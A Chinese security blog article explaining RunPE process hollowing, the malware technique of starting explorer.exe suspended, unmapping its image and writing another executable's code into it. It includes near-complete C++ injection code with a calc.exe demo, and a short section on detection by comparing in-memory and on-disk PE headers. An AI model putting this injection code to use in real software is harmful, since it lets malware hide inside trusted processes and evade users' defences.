使用恶意软件将隐藏代码注入已知进程的攻击研究

技术 作者:i春秋 2017-11-14 07:10:44
本文作者:jishuzhain
对于恶意软件编写者来说,隐藏一个进程一直是一个挑战,他们对此发现了很多方法。我现在讲述的这个技巧是非常基本的,虽然写起来很简单,但是却不能一直工作下去。这个技巧叫做“RunPE”,在恶意软件行业,特别是RAT(远程管理工具)中已经使用了很多次。 基本上,当一个恶意软件启动时,它会在Windows进程中挑选一个受害者(如explorer.exe),(如果有童鞋使用过metasploit中的进程注入攻击,这应该并不陌生吧)并启动一个新的实例,它处于挂起状态。在这种状态下,进行修改是安全的,恶意软件将完全从代码中清除它,如果需要的话会扩展进内存,并在其中复制自己的代码。 然后,恶意软件会做一些变化来调整入口地址以及基地址,并将恢复其进程。恢复后,该进程显示正在从一个文件(explorer.exe)开始,这会没有显示它做了什么,但它实际上已经做了。

RunPE:代码

void RunPe( wstring const& target, wstring const& source )
{
    Pe src_pe( source );        // Parse source PE structure
    if ( src_pe.isvalid )
    {        
        Process::CreationResults res = Process::CreateWithFlags( target, L"", CREATE_SUSPENDED, false, false ); // Start a suspended instance of target
        if ( res.success )
        {
            PCONTEXT CTX = PCONTEXT( VirtualAlloc( NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE ) );   // Allocate space for context
            CTX->ContextFlags = CONTEXT_FULL;

            if ( GetThreadContext( res.hThread, LPCONTEXT( CTX ) ) )    // Read target context
            {
                DWORD dwImageBase;
                ReadProcessMemory( res.hProcess, LPCVOID( CTX->Ebx + 8 ), LPVOID( &dwImageBase ), 4, NULL );        // Get base address of target

                typedef LONG( WINAPI * NtUnmapViewOfSection )(HANDLE ProcessHandle, PVOID BaseAddress);
                NtUnmapViewOfSection xNtUnmapViewOfSection;
                xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                if ( 0 == xNtUnmapViewOfSection( res.hProcess, PVOID( dwImageBase ) ) )  // Unmap target code
                {
                    LPVOID pImageBase = VirtualAllocEx(res.hProcess, LPVOID(dwImageBase), src_pe.NtHeadersx86.OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);  // Realloc for source code
                    if ( pImageBase )
                    {
                        Buffer src_headers( src_pe.NtHeadersx86.OptionalHeader.SizeOfHeaders );                 // Read source headers
                        PVOID src_headers_ptr = src_pe.GetPointer( 0 );
                        if ( src_pe.ReadMemory( src_headers.Data(), src_headers_ptr, src_headers.Size() ) )
                        {
                            if ( WriteProcessMemory(res.hProcess, pImageBase, src_headers.Data(), src_headers.Size(), NULL) )   // Write source headers
                            {
                                bool success = true;
                                for (u_int i = 0; i < src_pe.sections.size(); i++)     // Write all sections
                                {
                                    // Get pointer on section and copy the content
                                    Buffer src_section( src_pe.sections.at( i ).SizeOfRawData );
                                    LPVOID src_section_ptr = src_pe.GetPointer( src_pe.sections.at( i ).PointerToRawData );
                                    success &= src_pe.ReadMemory( src_section.Data(), src_section_ptr, src_section.Size() );                                    

                                    // Write content to target
                                    success &= WriteProcessMemory(res.hProcess, LPVOID(DWORD(pImageBase) + src_pe.sections.at( i ).VirtualAddress), src_section.Data(), src_section.Size(), NULL);
                                }

                                if ( success )
                                {
                                    WriteProcessMemory( res.hProcess, LPVOID( CTX->Ebx + 8 ), LPVOID( &pImageBase), sizeof(LPVOID), NULL );      // Rewrite image base
                                    CTX->Eax = DWORD( pImageBase ) + src_pe.NtHeadersx86.OptionalHeader.AddressOfEntryPoint;        // Rewrite entry point
                                    SetThreadContext( res.hThread, LPCONTEXT( CTX ) );                                              // Set thread context
                                    ResumeThread( res.hThread );                                                                    // Resume main thread
                                }                               
                            }
                        }                       
                    }
                }
            }

            if ( res.hProcess) CloseHandle( res.hProcess );
            if ( res.hThread ) CloseHandle( res.hThread );
        }
    }
}
...
RunPe( L"C:\\windows\\explorer.exe", L"C:\\windows\\system32\\calc.exe" );
(源代码是能自我解释的,但是我选择让它与我们的底层库(Pe,Process,…)紧密联系在一起,以便代码不会脱离盒子(避免脚本小子使用它来做坏事)。然而,我建议工程师能理解逻辑并重新创建二进制文件。自己的翻译) 源代码是能自我解释的,这段代码想表达的意思应该是不言而喻的(意思就是光字面上来看S_B也看的懂),不管怎样我把他们用底层库封装起来(pe.process..代码里也只看到类没看到实现代码),这样如果没有这些底层库这些代码就不能够运行(废话,lib都不提供我拿什么编译),以防止一些中二病大黑客用这些代码到处搞事情,不过,一个资深的码农老司机应该很容易看得懂代码中的逻辑关系并且(依照当中的意思)自己码出能用的二进制程序。 主程序将以explorer.exe为目标,以calc.exe为源码调用RunPe函数。这将导致运行calc.exe代码到explorer.exe的表面。 该RunPe功能将简单地处于中止状态的explorer.exe创建,除去属于该模块的部分与NtUnmapViewOfSection。然后,它将分配更多的内存与前面未映射的部分相同的首选地址来承载目标(calc.exe)的代码。 该代码(标题+部分)复制到新分配的部分,我们调整内存映像基址+入口点地址以匹配新的偏移量(explorer.exe的基址可能会不同)。完成后,主线程恢复。

RunPE:结果

在创建后暂停 在explorer.exe中的部分区域未被映射后 在新的部分区域被分配后 在calc.exe代码被写入后 Process Hacker软件在explorer.exe中显示Calc caption窗口 calc.exe字符串出现在explorer.exe部分

RunPE:检测

这个技巧很简单,检测也很简单。我们可以假设(除了.NET程序集)PE头将在内存和进程的磁盘镜像中99%相同。 知道了这个后,我们可以在每个进程中比较磁盘上文件的PE头和内存中的映像。如果分歧太大,我们可以放心地认定这个过程是被劫持的。 图为RunPE的检测 链接 https://blackc0.de/2014/06/defeating-runpe-malware-packer/ http://menalix.com/?tag=runpe-in​​jection http://www.autosectools.com/process-hollowing.pdf https://www.phrozensoft.com/2015/05/runpe-detector-1 https://www.adlice.com/runpe-hide-code-behind-legit-process/

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接